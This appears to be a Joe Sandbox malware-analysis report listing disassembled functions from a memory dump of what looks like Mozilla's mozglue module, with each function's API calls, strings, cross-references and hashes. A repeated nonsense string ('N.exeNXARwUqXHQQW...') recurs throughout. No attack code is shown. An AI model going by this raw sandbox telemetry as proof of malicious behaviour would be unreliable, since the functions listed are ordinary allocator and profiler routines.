N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC0303, 6CDC08D6
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDBFF9E, 6CDC023A, 6CDC0285, 6CDC02FC, 6CDC0312, 6CDC032E, 6CDC0335, 6CDC05CB, 6CDC08DD, 6CDC08F8, 6CDC0915, 6CDC091C, 6CDC0CC9, 6CDC0D4C
WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDC02F7, 6CDC0561, 6CDC05A2, 6CDC07AC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDBFE99, 6CDBFEB7, 6CDBFED3, 6CDC0DB8, 6CDC0DD3, 6CDC19B4, 6CDC1A10
MOZ_CRASH(), xrefs: 6CDC0CA7

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 618468079-38926795
Opcode ID: 07c85ece36bee69afbdbfd23e187150a3ac57d90e84e4e51b11a849fb89d4839
Instruction ID: eaa8214b4004e2607f1e0f7297bce4a9b2fdf70e03d1afe757bf85bd7fd36b24
Opcode Fuzzy Hash: 07c85ece36bee69afbdbfd23e187150a3ac57d90e84e4e51b11a849fb89d4839
Instruction Fuzzy Hash: 07B28C71705751CFD714CF28C590716BBE5AF85328F28C66CE8AA8BBA5C774E841CB82

Function 6CDCED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CDCEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CDCEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CDD1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDD16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CDD1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CDD1A3E

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 339888f2f8e135bfbde4889b9ccb8265e49edbf037b462dfaeb18590f8ac8e5d
Instruction ID: 16f67e6b1a88ba69bc8df97f09076b57a1fafe285a45dbd343c59ee3db9ceef4
Opcode Fuzzy Hash: 339888f2f8e135bfbde4889b9ccb8265e49edbf037b462dfaeb18590f8ac8e5d
Instruction Fuzzy Hash: 54B30871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB755D730AD86CF90

Function 6CDC5E90 Relevance: 23.7, APIs: 5, Strings: 9, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2
memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC61F0
VirtualFree.KERNEL32(-00000001,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,00004000), ref: 6CDC7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CDC730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CDC72F8
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC61FF
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC7532
WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDC5EAC, 6CDC7636
ewl, xrefs: 6CDC5E9C, 6CDC5F22, 6CDC61ED
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDC7BCD, 6CDC7C1F, 6CDC7C34, 6CDC80FD
MOZ_CRASH(), xrefs: 6CDC7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CDC72E3

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR$ewl
API String ID: 2613674957-1076837571
Opcode ID: 0ca7a1c33e074ba3a48b1aed6e0af089f9b7d30d9f601653bad7418f8d24e82c
Instruction ID: acad037efc18d243353e1329b522a5057f39ab7666d1fb9214d63b855a718a1f
Opcode Fuzzy Hash: 0ca7a1c33e074ba3a48b1aed6e0af089f9b7d30d9f601653bad7418f8d24e82c
Instruction Fuzzy Hash: 14336C71705701DFD308CF28C590625BBE6BF85328F2AC6ADE5698B7A5D731E842CB42

Function 6CDF5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6CDF5AC3
data, xrefs: 6CDF6131
schema, xrefs: 6CDF606D
ProfileBuffer parse error: %s, xrefs: 6CDF5AC8, 6CDF5CBB
expected a Time entry, xrefs: 6CDF5CB6
name, xrefs: 6CDF5E79, 6CDF5E8F

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: f9a661b1e8ec2ef0bc2cf15b7ba9dd924a897ccd305f9425b5f95691f77d76f0
Instruction ID: ca83f35291185803699ea0e0999c3e2a31dd2d10398d4f099faa2c989b466609
Opcode Fuzzy Hash: f9a661b1e8ec2ef0bc2cf15b7ba9dd924a897ccd305f9425b5f95691f77d76f0
Instruction Fuzzy Hash: 93923CB5A083418FD724CF14C49075AB7F1BFC5308F15891DE5AA9BB61EB30E94ACB92

Function 6CDF2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CDF2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CDF2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CDF3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6CDF378D
get , xrefs: 6CDF3205
set , xrefs: 6CDF36EC

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0a36c235fd963b1447c83f2546867ba66237def1df51d7a840b4c28607202cc7
Instruction ID: d35f38afe8a1dfffc2ff8d3763600e507bda7d0fb6987c428838db01ded86e65
Opcode Fuzzy Hash: 0a36c235fd963b1447c83f2546867ba66237def1df51d7a840b4c28607202cc7
Instruction Fuzzy Hash: B3325DB42083819FD325CF24C4906AEB7E2BFC9318F56881DE5A987761DB30D94ACB53

Function 6CDE7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CDE8280, 6CDE83E1
vl, xrefs: 6CDE8207
schema, xrefs: 6CDE81E3, 6CDE8311
(pre-xul), xrefs: 6CDE7E88
name, xrefs: 6CDE7ECF, 6CDE8335

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vl
API String ID: 3412268980-1255427622
Opcode ID: 80e267f4a287ebd53b3e0abc817e58cc003293d40e81c2a10bb3e6fd1920080e
Instruction ID: fbc715994b8952f80376af0dbf3531691f417c300370f000aacb9b44c03ebf78
Opcode Fuzzy Hash: 80e267f4a287ebd53b3e0abc817e58cc003293d40e81c2a10bb3e6fd1920080e
Instruction Fuzzy Hash: 3EE171B1A043448BC710CF68C84165BFBE9BF89314F15492DE899E7B90DBB5ED098B92

Function 6CDCD4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD4F2
LeaveCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD50B

Part of subcall function 6CDACFE0: EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDACFF6
Part of subcall function 6CDACFE0: LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD52E
EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDCD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCD6A6
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDCD712
LeaveCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CDCD82C
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDCD793
<jemalloc>, xrefs: 6CDCD827

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw
API String ID: 2690322072-2228138352
Opcode ID: beda3fae04db25ca493dbd13f9439cbe28477581454d5327049fbc8a44686232
Instruction ID: 8aeed8b2b06b8e7c4b1bcaccaabac63b953868796460615115468ba8ac3ce137
Opcode Fuzzy Hash: beda3fae04db25ca493dbd13f9439cbe28477581454d5327049fbc8a44686232
Instruction Fuzzy Hash: 5191C071B447158FD718CF38C89072AB7F5FB89314F25892EE59A87AA0D734E845CB82

Function 6CDA3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CDA350E
__Init_thread_footer.LIBCMT ref: 6CDA3522
__aulldiv.LIBCMT ref: 6CDA3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA3592

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CDA3508
kernel32.dll, xrefs: 6CDA34EA

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 237900c027540ed37a6f8c8b6b2d4e13d9b5193ec861446ce2cbe9f4e00f17ba
Instruction ID: 640efca370fe72f4f1d1d7ba3f75ee6c5acf585ce8cb8ffa3b5279dd4b61fc44
Opcode Fuzzy Hash: 237900c027540ed37a6f8c8b6b2d4e13d9b5193ec861446ce2cbe9f4e00f17ba
Instruction Fuzzy Hash: 5E319E71F002199BDF00DFB9C948FAAB7BAFB45305F10441AE506A7660DB7CE905CBA0

Function 6CE04EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CE04EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE04F2E
moz_xmalloc.MOZGLUE ref: 6CE04F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CE04F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE052E6
Sleep.KERNEL32(00000010), ref: 6CE05481
free.MOZGLUE(?), ref: 6CE05498

Strings

(, xrefs: 6CE05250

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: e926990f9db4059da55ab6651e46e4ae3eb4dd4e7ca1bd92b69d12c0a50de0bf
Instruction ID: 4a790a7c795fb0e57cf881c5f670d161537f55193c34a05cb4389952e567e456
Opcode Fuzzy Hash: e926990f9db4059da55ab6651e46e4ae3eb4dd4e7ca1bd92b69d12c0a50de0bf
Instruction Fuzzy Hash: BEF1FF71A19B508FC717CF38C85062BB7F9AFD6284F058B2EF846A7650DB31D8528B81

Function 6CE05FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CE06009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CE06024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CDAEE51,?), ref: 6CE06046
OutputDebugStringA.KERNEL32(?,6CDAEE51,?), ref: 6CE06061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE06069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CE06073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CE06082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CE2148E), ref: 6CE06091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CDAEE51,00000000,?), ref: 6CE060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CE060C4

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: c8161c8b3867c7c9c19599dcae5dee4f795f08e35713516ddcbe28958c1cf0c1
Instruction ID: fa848fe5dfd4d084d0147bc339d089b9bf517f58d2257753a9faf6d802af1b5d
Opcode Fuzzy Hash: c8161c8b3867c7c9c19599dcae5dee4f795f08e35713516ddcbe28958c1cf0c1
Instruction Fuzzy Hash: E221B571A002089FDB205F24DC09BAA7BBCFF45318F108428E85AD7640CB79A559CFE1

Function 6CDC9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDC9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CDC9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDC9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CDCA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDCA8B1, 6CDCA8D4, 6CDCA8EF

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ed85c2e2a326f046f24a6980f8ed0be944f4715a7dfb522413a2557389c1b5b9
